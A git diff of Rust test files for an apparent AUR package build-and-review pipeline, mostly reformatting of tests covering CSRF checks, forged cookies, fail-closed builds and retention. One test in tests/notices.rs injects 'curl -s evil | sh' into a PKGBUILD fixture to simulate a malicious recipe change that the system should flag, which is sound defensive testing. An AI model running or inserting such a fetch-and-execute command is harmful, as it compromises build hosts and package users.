assert_eq!(builds::reap_expired(&env.db).unwrap(), 1);
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Succeeded { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }));
assert_eq!(db::index_version(&env.db, "plain-make").unwrap().as_deref(), Some("1.0-1"));
}
@@ -151,11 +144,7 @@ fn a_full_pool_blocks_the_build_instead_of_breaking_it() {
BuildState::BlockedMissingDep,
"the build waits for capacity on the same blocked machinery it uses for missing deps, unharmed"
);
- assert_eq!(
- b.blocked_on_json.as_str(),
- r#"["sandbox-pool"]"#,
- "the block names what it waits on"
- );
+ assert_eq!(b.blocked_on_json.as_str(), r#"["sandbox-pool"]"#, "the block names what it waits on");
}
#[test]
diff --git a/tests/http.rs b/tests/http.rs
index 23c8ba5..209096f 100644
--- a/tests/http.rs
+++ b/tests/http.rs
@@ -77,16 +77,12 @@ fn risk_signals_are_shown_inline() {
fn every_post_requires_a_csrf_token() {
let web = Web::new("plain-make");
let c = web.open_review("plain-make");
- let page = web.post_bare(
+ let page = web.post_bare(&format!("/reviews/{}/approve", c.id), &[("identity_hash", "x"), ("diff_digest", "y")]);
+ assert_eq!(page.status, 403, "a POST without CSRF must be refused");
+ let page = web.post(
&format!("/reviews/{}/approve", c.id),
- &[("identity_hash", "x"), ("diff_digest", "y")],
+ &[("csrf", "not-the-token"), ("identity_hash", &c.identity_hash), ("diff_digest", &c.diff_digest)],
);
- assert_eq!(page.status, 403, "a POST without CSRF must be refused");
- let page = web.post(&format!("/reviews/{}/approve", c.id), &[
- ("csrf", "not-the-token"),
- ("identity_hash", &c.identity_hash),
- ("diff_digest", &c.diff_digest),
- ]);
assert_eq!(page.status, 403, "a forged CSRF token must be refused");
assert_eq!(
web.env.query_i64("SELECT count(*) FROM approval", &[]),
@@ -147,16 +143,11 @@ fn a_stale_approval_is_a_409_that_renders_the_current_diff() {
fn reject_requires_a_note() {
let web = Web::new("plain-make");
let c = web.open_review("plain-make");
- let res = web.post(
- &format!("/reviews/{}/reject", c.id),
- &[("csrf", &web.csrf), ("note", "")],
- );
+ let res = web.post(&format!("/reviews/{}/reject", c.id), &[("csrf", &web.csrf), ("note", "")]);
assert_eq!(res.status, 400, "an empty note must be refused");
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval", &[]), Some(0));
- let res = web.post(
- &format!("/reviews/{}/reject", c.id),
- &[("csrf", &web.csrf), ("note", "upstream dropped our license")],
- );
+ let res = web
+ .post(&format!("/reviews/{}/reject", c.id), &[("csrf", &web.csrf), ("note", "upstream dropped our license")]);
assert_eq!(res.status, 200);
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval WHERE decision='rejected'", &[]), Some(1));
}
@@ -168,14 +159,20 @@ fn bulk_approve_refuses_high_risk_without_individual_confirmation() {
assert_eq!(c.risk_level, aur_build::review::risk::level::HIGH, "fixture should be high risk");
let id = c.id.to_string();
let res = web.post("/reviews/bulk", &[("csrf", &web.csrf), ("decision", "approve"), ("ids", &id)]);
- assert!(res.body.contains("refused"), "bulk approve accepted a high-risk item: {}", &res.body[..300.min(res.body.len())]);
+ assert!(
+ res.body.contains("refused"),
+ "bulk approve accepted a high-risk item: {}",
+ &res.body[..300.min(res.body.len())]
+ );
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval", &[]), Some(0));
- let res = web.post(
- "/reviews/bulk",
- &[("csrf", &web.csrf), ("decision", "approve"), ("ids", &id), ("confirm", &id)],
+ let res =
+ web.post("/reviews/bulk", &[("csrf", &web.csrf), ("decision", "approve"), ("ids", &id), ("confirm", &id)]);
+ assert!(
+ !res.body.contains("refused"),
+ "confirmed item was still refused: {}",
+ &res.body[..300.min(res.body.len())]
);
- assert!(!res.body.contains("refused"), "confirmed item was still refused: {}", &res.body[..300.min(res.body.len())]);
assert_eq!(web.env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
}
@@ -200,7 +197,13 @@ fn a_forged_auth_cookie_is_not_a_session() {
let web = Web::with_password("plain-make", "s3cret");
for path in ["/", "/reviews", "/audit", "/settings", "/builds", "/packages"] {
let res = web.raw_request("GET", path, &[("Cookie", "auth=1".into())], None);
- assert_eq!(res.status, 303, "{path} let a forged cookie through ({}): {}", res.status, &res.body[..120.min(res.body.len())]);
+ assert_eq!(
+ res.status,
+ 303,
+ "{path} let a forged cookie through ({}): {}",
+ res.status,
+ &res.body[..120.min(res.body.len())]
+ );
assert_eq!(res.header("location"), Some("/login"), "{path} did not redirect to the login page");
}
let res = web.raw_request("POST", "/logout", &[("Cookie", "auth=1".into())], Some(""));
@@ -221,11 +224,24 @@ fn login_rotates_the_session_and_logout_ends_it() {
assert_ne!(session, anon, "login promoted the anonymous session instead of rotating it");
assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", session.clone())], None).status, 200);
if !anon.is_empty() {
- assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", anon)], None).status, 303, "the pre-login sid still worked");
+ assert_eq!(
+ web.raw_request("GET", "/reviews", &[("Cookie", anon)], None).status,
+ 303,
+ "the pre-login sid still worked"
+ );
}
- let out = web.raw_request("POST", "/logout", &[("Cookie", session.clone()), ("Content-Type", "application/x-www-form-urlencoded".into())], Some(&format!("csrf={}", web.csrf)));
+ let out = web.raw_request(
+ "POST",
+ "/logout",
+ &[("Cookie", session.clone()), ("Content-Type", "application/x-www-form-urlencoded".into())],
+ Some(&format!("csrf={}", web.csrf)),
+ );
assert_eq!(out.status, 303, "logout did not redirect: {}", out.status);
- assert_eq!(web.raw_request("GET", "/reviews", &[("Cookie", session)], None).status, 303, "the logged-out sid still worked");
+ assert_eq!(
+ web.raw_request("GET", "/reviews", &[("Cookie", session)], None).status,
+ 303,
+ "the logged-out sid still worked"
+ );
}
#[test]
diff --git a/tests/invariants.rs b/tests/invariants.rs
index 4bfffc8..d7a0f6f 100644
--- a/tests/invariants.rs
+++ b/tests/invariants.rs
@@ -23,15 +23,13 @@ fn query_pairs(env: &Env, sql: &str) -> Vec<(String, String)> {
.read(move |c| {
let mut st = c.prepare(sql)?;
let rows = st.query_map([], |r| Ok((r.get::<_, String>(0)?, r.get::<_, String>(1)?)))?;
- Ok(rows.filter_map(|r| r.ok()).collect())
+ Ok(rows.filter_map(std::result::Result::ok).collect())
})
.unwrap()
}
fn count(env: &Env, sql: &str) -> i64 {
- env.db
- .read(move |c| Ok(c.query_row(sql, [], |r| r.get::<_, i64>(0))?))
- .unwrap()
+ env.db.read(move |c| Ok(c.query_row(sql, [], |r| r.get::<_, i64>(0))?)).unwrap()
}
#[test]
@@ -49,10 +47,7 @@ fn i1_every_index_entry_traces_back_to_an_approval() {
0,
"an index entry exists that no human approved"
);
- assert_eq!(
- count(&env, "SELECT count(*) FROM approval WHERE decision='approved'"),
- 1
- );
+ assert_eq!(count(&env, "SELECT count(*) FROM approval WHERE decision='approved'"), 1);
assert_eq!(count(&env, "SELECT count(*) FROM release WHERE approval_id IS NULL"), 0);
}
@@ -97,16 +92,9 @@ fn i4_kill_mid_publish_leaves_the_old_index_byte_identical() {
do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap();
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
env.set_publish_fault("before-rename");
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
- assert_eq!(
- std::fs::read(&db_file).unwrap(),
- old_bytes,
- "the served index was torn by a crash"
- );
+ assert_eq!(std::fs::read(&db_file).unwrap(), old_bytes, "the served index was torn by a crash");
assert_eq!(
query_pairs(&env, "SELECT name, version FROM package WHERE state='in_index'"),
vec![("plain-make".to_string(), "1.0-1".to_string())]
@@ -128,10 +116,7 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
env.set_publish_fault("before-rename");
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
let shim = env.cfg.hooks.shim_dir.clone().unwrap();
let builds_before = aur_build::shims::called_with(&shim, "makepkg", "");
assert_eq!(builds_before, 2, "one build per attempted publish");
@@ -141,11 +126,7 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
pipeline::Outcome::Succeeded { release_id } => assert!(release_id > 0),
other => panic!("{other:?}"),
}
- assert_eq!(
- aur_build::shims::called_with(&shim, "makepkg", ""),
- builds_before,
- "resuming re-ran the build step"
- );
+ assert_eq!(aur_build::shims::called_with(&shim, "makepkg", ""), builds_before, "resuming re-ran the build step");
assert_eq!(count(&env, "SELECT count(*) FROM release WHERE pkgver='2.0'"), 1);
assert_eq!(
count(&env, "SELECT count(*) FROM artifact"),
@@ -155,11 +136,9 @@ fn i5_resume_after_a_crash_repeats_no_completed_step() {
let bad = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT count(*) FROM build_step WHERE status NOT IN ('succeeded','skipped')",
- [],
- |r| r.get::<_, i64>(0),
- )?)
+ Ok(c.query_row("SELECT count(*) FROM build_step WHERE status NOT IN ('succeeded','skipped')", [], |r| {
+ r.get::<_, i64>(0)
+ })?)
})
.unwrap();
assert_eq!(bad, 0, "every step reached a terminal state");
@@ -205,17 +184,11 @@ fn i8_index_equals_the_accepted_pointers() {
FROM pkgbase p
JOIN release r ON r.id = p.current_accepted_release_id",
);
- let index = query_pairs(
- &env,
- "SELECT name, version FROM package WHERE state='in_index'",
- );
- assert!(!pointers.is_empty());
+ let index = query_pairs(&env, "SELECT name, version FROM package WHERE state='in_index'");
+ assert_ne!(pointers, [] as [(std::string::String, std::string::String); 0]);
assert_eq!(index, pointers, "index and accepted pointers diverge");
- assert_eq!(
- count(&env, "SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'"),
- 0
- );
+ assert_eq!(count(&env, "SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'"), 0);
let db_file = env.cfg.repo_arch_dir().join("aur-build.db.tar.gz");
let names = index_db_names(&db_file);
assert_eq!(names, vec!["plain-make".to_string()]);
@@ -228,10 +201,7 @@ fn i3_materialization_fails_closed_on_the_recipe_pin() {
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap();
do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap();
- env.exec(
- "UPDATE snapshot SET recipe_hash='sha256:0000' WHERE id=?1",
- &params(vec![c.snapshot_id]),
- );
+ env.exec("UPDATE snapshot SET recipe_hash='sha256:0000' WHERE id=?1", &params(vec![c.snapshot_id]));
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
match pipeline::run(&env.cfg, &env.db, &id).unwrap() {
pipeline::Outcome::Failed { step, error, .. } => {
@@ -249,10 +219,7 @@ fn i6_manual_rebuild_publishes_the_same_version_without_a_new_approval() {
full_run(&env, "plain-make");
let approvals = count(&env, "SELECT count(*) FROM approval");
let id = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Succeeded { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }));
assert_eq!(count(&env, "SELECT count(*) FROM approval"), approvals, "a rebuild demanded a new approval");
assert_eq!(
query_pairs(&env, "SELECT name, version FROM package WHERE state='in_index'"),
@@ -264,18 +231,12 @@ fn i6_manual_rebuild_publishes_the_same_version_without_a_new_approval() {
fn a_manual_rebuild_is_deterministic_and_its_own_build() {
let (env, _fx) = env_with_fixture("plain-make");
full_run(&env, "plain-make");
- let original = env
- .query_str("SELECT id FROM build ORDER BY rowid LIMIT 1", &[])
- .expect("the published build");
+ let original = env.query_str("SELECT id FROM build ORDER BY rowid LIMIT 1", &[]).expect("the published build");
let a = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
let b = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
assert_eq!(a, b, "clicking rebuild twice is one build, not two");
assert_ne!(a, original, "a rebuild is a distinct build from the one that landed");
- assert_eq!(
- count(&env, "SELECT count(*) FROM build"),
- 2,
- "the second call must not enqueue a third row"
- );
+ assert_eq!(count(&env, "SELECT count(*) FROM build"), 2, "the second call must not enqueue a third row");
}
#[test]
@@ -305,7 +266,7 @@ fn i10_audit_is_append_only_and_records_the_decisions() {
.read(|c| {
let mut st = c.prepare("SELECT action FROM audit")?;
let rows = st.query_map([], |r| r.get::<_, String>(0))?;
- Ok(rows.filter_map(|r| r.ok()).collect::<Vec<_>>())
+ Ok(rows.filter_map(std::result::Result::ok).collect::<Vec<_>>())
})
.unwrap();
for want in ["approve", "publish", "build.start", "build.succeeded"] {
@@ -353,10 +314,10 @@ fn index_db_names(path: &std::path::Path) -> Vec<String> {
let mut names: Vec<String> = ar
.entries()
.unwrap()
- .filter_map(|e| e.ok())
+ .filter_map(std::result::Result::ok)
.filter_map(|e| {
let p = e.path().ok()?.to_string_lossy().into_owned();
- p.split('/').next().map(|s| s.to_string())
+ p.split('/').next().map(std::string::ToString::to_string)
})
.collect();
names.sort();
@@ -386,16 +347,9 @@ fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() {
other => panic!("a build that smuggled in a symlink must fail closed, got {other:?}"),
};
assert_eq!(step, "collect", "it should be refused at collect, before anything is copied");
- assert!(
- err.contains("symlink") && err.contains("staging"),
- "the failure should say why it refused: {err}"
- );
+ assert!(err.contains("symlink") && err.contains("staging"), "the failure should say why it refused: {err}");
- assert_eq!(
- dir_listing(&env.cfg.store_dir()),
- store_before,
- "the store must be untouched by a refused build"
- );
+ assert_eq!(dir_listing(&env.cfg.store_dir()), store_before, "the store must be untouched by a refused build");
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Failed);
assert!(db::index_version(&env.db, "plain-make").unwrap().is_none(), "nothing publishes from a failed build");
assert!(secret.exists());
diff --git a/tests/kata.rs b/tests/kata.rs
index a87a800..271a36f 100644
--- a/tests/kata.rs
+++ b/tests/kata.rs
@@ -13,7 +13,6 @@ use common::{env_with_fixture, shim_dir};
// lease provisions, and the TTL expiry of a sandbox that never dials in — moved
// into src/sandbox/kata.rs, where that machinery is declared.
-
fn agent_sandbox_config() -> Config {
let tmp = tempfile::tempdir().unwrap();
std::fs::write(
@@ -45,9 +44,7 @@ fn a_provisioned_sandbox_rendezvous_and_runs_a_command() {
let sbx = backend
.acquire(&SandboxSpec::new("extra-x86_64", "build-1", Duration::from_secs(15)))
.expect("the provisioned agent should dial in and rendezvous");
- let out = sbx
- .run(&Cmd::new(["/bin/echo", "hi from the sandbox"]), &mut |_| {})
- .unwrap();
+ let out = sbx.run(&Cmd::new(["/bin/echo", "hi from the sandbox"]), &mut |_| {}).unwrap();
assert!(out.success());
assert_eq!(String::from_utf8_lossy(&out.stdout), "hi from the sandbox\n");
sbx.destroy().unwrap();
diff --git a/tests/live.rs b/tests/live.rs
index b891b7e..c3918a3 100644
--- a/tests/live.rs
+++ b/tests/live.rs
@@ -3,8 +3,8 @@ mod common;
use std::io::Read;
use std::time::{Duration, Instant};
-use aur_build::db::model::BuildState;
use aur_build::db::builds;
+use aur_build::db::model::BuildState;
use aur_build::pipeline;
use aur_build::review::{candidates, diff};
use common::*;
@@ -170,11 +170,7 @@ fn raw_get(web: &Web, path: &str, gzip: bool) -> (String, Vec<u8>) {
let addr = web.server.addr.clone();
let mut sock = std::net::TcpStream::connect(&addr).unwrap();
let enc = if gzip { "gzip" } else { "identity" };
- write!(
- sock,
- "GET {path} HTTP/1.1\r\nHost: {addr}\r\nAccept-Encoding: {enc}\r\nConnection: close\r\n\r\n"
- )
- .unwrap();
+ write!(sock, "GET {path} HTTP/1.1\r\nHost: {addr}\r\nAccept-Encoding: {enc}\r\nConnection: close\r\n\r\n").unwrap();
let mut br = BufReader::new(sock);
let mut headers = String::new();
loop {
diff --git a/tests/notices.rs b/tests/notices.rs
index 3fb0055..aec5b2d 100644
--- a/tests/notices.rs
+++ b/tests/notices.rs
@@ -1,8 +1,8 @@
mod common;
use aur_build::db::{self, model::*};
-use aur_build::review::risk;
use aur_build::review::approve::approve as do_approve;
+use aur_build::review::risk;
use aur_build::review::{candidates, diff};
use aur_build::watch::detect;
use common::*;
@@ -72,7 +72,8 @@ fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() {
let path = fx.aur.join("PKGBUILD");
let text = std::fs::read_to_string(&path).unwrap();
- std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap();
+ std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh"))
+ .unwrap();
git(&fx.aur, &["add", "-A"]);
git(&fx.aur, &["commit", "-q", "-m", "sneaky"]);
@@ -143,8 +144,18 @@ fn a_first_introduction_is_flagged_as_its_own_kind_of_review() {
#[test]
fn i11_nothing_publishable_is_ever_silently_dropped() {
let fixtures = [
- "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset",
- "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails",
+ "plain-make",
+ "with-patch",
+ "skip-checksum",
+ "split-pkgbase",
+ "epoch-bump",
+ "pkgrel-reset",
+ "downgrade",
+ "git-sourced",
+ "pin-drift",
+ "digest-drift",
+ "missing-dep",
+ "build-fails",
];
for name in fixtures {
let (env, fx) = env_with_fixture(name);
@@ -161,10 +172,7 @@ fn i11_nothing_publishable_is_ever_silently_dropped() {
);
let notices = db::list_notices(&env.db, false).unwrap();
if let detect::Outcome::Notice { kind, .. } = &first {
- assert!(
- notices.iter().any(|n| &n.kind == kind),
- "{name}: a {kind} outcome left no notice row"
- );
+ assert!(notices.iter().any(|n| &n.kind == kind), "{name}: a {kind} outcome left no notice row");
}
let _ = fx.bump(&[("pkgrel", "99")]);
let second = detect_outcome(&env, name);
diff --git a/tests/ops.rs b/tests/ops.rs
index 821b733..4570c86 100644
--- a/tests/ops.rs
+++ b/tests/ops.rs
@@ -76,16 +76,10 @@ fn retention_keeps_the_newest_n_versions_and_never_deletes_a_row() {
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(5));
assert_eq!(env.query_i64("SELECT count(*) FROM artifact", &[]), Some(5));
- assert_eq!(
- env.query_i64("SELECT count(*) FROM artifact WHERE purged_at IS NOT NULL", &[]),
- Some(3)
- );
- assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE purged_at IS NOT NULL", &[]),
- Some(3)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM artifact WHERE purged_at IS NOT NULL", &[]), Some(3));
+ assert_eq!(env.query_i64("SELECT count(*) FROM release WHERE purged_at IS NOT NULL", &[]), Some(3));
assert_eq!(env.query_i64("SELECT count(*) FROM gc_run", &[]), Some(1));
- assert!(env.query_i64("SELECT count(*) FROM audit WHERE action='retention'", &[]) == Some(1));
+ assert_eq!(env.query_i64("SELECT count(*) FROM audit WHERE action='retention'", &[]), Some(1));
}
#[test]
@@ -95,11 +89,9 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() {
let oldest = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT id FROM release WHERE state='published' ORDER BY id LIMIT 1",
- [],
- |r| r.get::<_, i64>(0),
- )?)
+ Ok(c.query_row("SELECT id FROM release WHERE state='published' ORDER BY id LIMIT 1", [], |r| {
+ r.get::<_, i64>(0)
+ })?)
})
.unwrap();
let files = ops::release_files(&env.cfg, &env.db, oldest).unwrap();
@@ -124,19 +116,13 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() {
let (pkg, sig, log) = &held[0];
for (what, p) in [("package", pkg), ("signature", sig), ("build log", log)] {
let p = p.as_ref().unwrap_or_else(|| panic!("the release should hold a {what}"));
- assert!(
- files.iter().any(|f| f == Path::new(p)),
- "release_files must include the {what} ({p}): {files:?}"
- );
+ assert!(files.iter().any(|f| f == Path::new(p)), "release_files must include the {what} ({p}): {files:?}");
assert!(Path::new(p).exists(), "the {what} should exist before eviction");
}
ops::retention(&env.cfg, &env.db, Some(1)).unwrap();
let still_there: Vec<&PathBuf> = files.iter().filter(|f| f.exists()).collect();
- assert!(
- still_there.is_empty(),
- "evicting a release must take its log and signature with it: {still_there:?}"
- );
+ assert!(still_there.is_empty(), "evicting a release must take its log and signature with it: {still_there:?}");
}
#[test]
@@ -156,25 +142,17 @@ fn retention_never_evicts_the_version_the_index_is_serving() {
let served_release = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT p.release_id FROM package p WHERE p.state='in_index' LIMIT 1",
- [],
- |r| r.get::<_, i64>(0),
- )?)
+ Ok(c.query_row("SELECT p.release_id FROM package p WHERE p.state='in_index' LIMIT 1", [], |r| {
+ r.get::<_, i64>(0)
+ })?)
})
.unwrap();
env.exec("UPDATE package SET state='removed' WHERE state='in_index'", &[]);
- env.exec(
- "UPDATE package SET state='in_index' WHERE release_id=?1",
- &[P::I(served_release)],
- );
+ env.exec("UPDATE package SET state='in_index' WHERE release_id=?1", &[P::I(served_release)]);
let report = ops::retention(&env.cfg, &env.db, Some(1)).unwrap();
assert!(report.releases_evicted >= 1, "something should have been evicted: {report:?}");
- assert!(
- Path::new(&served).exists(),
- "retention deleted the artifact the index is serving: {served}"
- );
+ assert!(Path::new(&served).exists(), "retention deleted the artifact the index is serving: {served}");
}
#[test]
@@ -231,10 +209,7 @@ fn metrics_reports_the_operating_numbers_in_prometheus_format() {
}
for line in text.lines().filter(|l| !l.starts_with('#')) {
let tail = line.rsplit(' ').next().unwrap_or("");
- assert!(
- tail.parse::<f64>().is_ok(),
- "not a prometheus sample: {line:?}"
- );
+ assert!(tail.parse::<f64>().is_ok(), "not a prometheus sample: {line:?}");
}
for line in text.lines().filter(|l| l.starts_with("# TYPE")) {
let name = line.split_whitespace().nth(2).unwrap();
@@ -277,11 +252,7 @@ fn the_http_metrics_endpoint_serves_scrapeable_text() {
assert!(page.body.contains("aurbuild_sqlite_wal_size_bytes"));
let (headers, body) = web.raw_get("/metrics");
assert!(body.contains("aurbuild_up 1"), "metrics should be reachable unauthenticated");
- let ct = headers
- .iter()
- .find(|(k, _)| k.eq_ignore_ascii_case("content-type"))
- .map(|(_, v)| v.clone())
- .unwrap_or_default();
+ let ct = headers.iter().find(|(k, _)| k.eq_ignore_ascii_case("content-type")).map_or_default(|(_, v)| v.clone());
assert!(ct.starts_with("text/plain"), "a scraper wants text/plain, got {ct}");
}
@@ -306,12 +277,9 @@ fn backup_is_a_consistent_single_file_that_reopens_and_matches() {
assert_eq!(releases, 1);
drop(probe);
- let mode: String = env
- .db
- .read(|c| Ok(c.query_row("PRAGMA journal_mode", [], |r| r.get::<_, String>(0))?))
- .unwrap();
+ let mode: String = env.db.read(|c| Ok(c.query_row("PRAGMA journal_mode", [], |r| r.get::<_, String>(0))?)).unwrap();
assert_eq!(mode.to_lowercase(), "wal", "the live db should still be WAL");
- assert!(env.query_i64("SELECT count(*) FROM approval", &[]) == Some(1));
+ assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
}
#[test]
diff --git a/tests/pipeline.rs b/tests/pipeline.rs
index d3816d6..1f62203 100644
--- a/tests/pipeline.rs
+++ b/tests/pipeline.rs
@@ -25,8 +25,7 @@ fn run_for(env: &Env, c: &CandidateRow) -> pipeline::Outcome {
fn in_index(env: &Env) -> Vec<(String, String)> {
env.db
.read(|c| {
- let mut st =
- c.prepare("SELECT name, version FROM package WHERE state='in_index' ORDER BY name")?;
+ let mut st = c.prepare("SELECT name, version FROM package WHERE state='in_index' ORDER BY name")?;
let rows = st.query_map([], |r| Ok((r.get(0)?, r.get(1)?)))?;
let mut v = Vec::new();
for r in rows {
@@ -71,10 +70,7 @@ fn end_to_end_publishes_a_signed_index() {
let all = step_rows(&env);
assert_eq!(all.len(), BUILD_STEPS.len(), "one row per step: {all:?}");
- assert!(
- all.iter().all(|(_, s)| s == "succeeded" || s == "skipped"),
- "{all:?}"
- );
+ assert!(all.iter().all(|(_, s)| s == "succeeded" || s == "skipped"), "{all:?}");
}
#[test]
@@ -116,11 +112,7 @@ fn a_tampered_store_artifact_fails_the_lease_closed() {
let (digest, path): (String, String) = env
.db
- .read(|c| {
- Ok(c.query_row("SELECT digest, path FROM artifact LIMIT 1", [], |r| {
- Ok((r.get(0)?, r.get(1)?))
- })?)
- })
+ .read(|c| Ok(c.query_row("SELECT digest, path FROM artifact LIMIT 1", [], |r| Ok((r.get(0)?, r.get(1)?)))?))
.unwrap();
let original = std::fs::read(&path).unwrap();
let mut tampered = original.clone();
@@ -186,11 +178,9 @@ fn i8_served_index_holds_exactly_the_accepted_pointers() {
let old: i64 = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'",
- [],
- |r| r.get(0),
- )?)
+ Ok(c.query_row("SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'", [], |r| {
+ r.get(0)
+ })?)
})
.unwrap();
assert_eq!(old, 0, "the previous release must leave the index");
@@ -200,10 +190,7 @@ fn i8_served_index_holds_exactly_the_accepted_pointers() {
fn step0_fails_closed_when_the_recipe_hash_drifts() {
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
- env.exec(
- "UPDATE snapshot SET recipe_hash='deadbeef' WHERE id=?1",
- &params(vec![c.snapshot_id]),
- );
+ env.exec("UPDATE snapshot SET recipe_hash='deadbeef' WHERE id=?1", &params(vec![c.snapshot_id]));
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
match pipeline::run(&env.cfg, &env.db, &id).unwrap() {
pipeline::Outcome::Failed { step, error, .. } => {
@@ -213,7 +200,7 @@ fn step0_fails_closed_when_the_recipe_hash_drifts() {
other => panic!("expected a fail-closed failure, got {other:?}"),
}
assert!(db::accepted_release(&env.db, "plain-make").unwrap().is_none());
- assert!(in_index(&env).is_empty());
+ assert_eq!(in_index(&env), [] as [(std::string::String, std::string::String); 0]);
}
#[test]
@@ -232,7 +219,7 @@ fn step4_fails_closed_when_pkgver_no_longer_matches() {
}
other => panic!("expected a fail-closed pkgver failure, got {other:?}"),
}
- assert!(in_index(&env).is_empty());
+ assert_eq!(in_index(&env), [] as [(std::string::String, std::string::String); 0]);
}
#[test]
@@ -259,10 +246,7 @@ fn i4_kill_mid_publish_leaves_the_old_index_intact() {
assert_eq!(std::fs::read(&v1).unwrap(), before);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
- assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]),
- Some(0)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]), Some(0));
}
#[test]
@@ -275,12 +259,8 @@ fn i5_a_restarted_build_resumes_at_the_next_incomplete_step() {
let c2 = approve_pending(&env, "plain-make");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c2).unwrap();
env.set_publish_fault("before-rename");
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
- let builds_after_crash =
- aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", "");
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
+ let builds_after_crash = aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", "");
assert_eq!(builds_after_crash, 2, "one real build before the crash");
env.clear_publish_fault();
@@ -294,10 +274,7 @@ fn i5_a_restarted_build_resumes_at_the_next_incomplete_step() {
"resuming must not rebuild"
);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0.1-1".into())]);
- assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]),
- Some(1)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]), Some(1));
}
#[test]
@@ -327,10 +304,7 @@ fn a_failed_build_leaves_the_previous_version_serving() {
other => panic!("{other:?}"),
}
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
- assert_eq!(
- candidates::candidate_by_id(&env.db, c2.id).unwrap().unwrap().state,
- CandidateState::Approved
- );
+ assert_eq!(candidates::candidate_by_id(&env.db, c2.id).unwrap().unwrap().state, CandidateState::Approved);
assert_eq!(
env.query_i64("SELECT count(*) FROM package WHERE state='in_index' AND version='1.0.1-1'", &[]),
Some(0)
@@ -385,10 +359,7 @@ fn i6_manual_rebuild_reuses_the_approved_identity() {
let before = env.query_i64("SELECT count(*) FROM approval", &[]);
let id = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Succeeded { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }));
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), before);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(2));
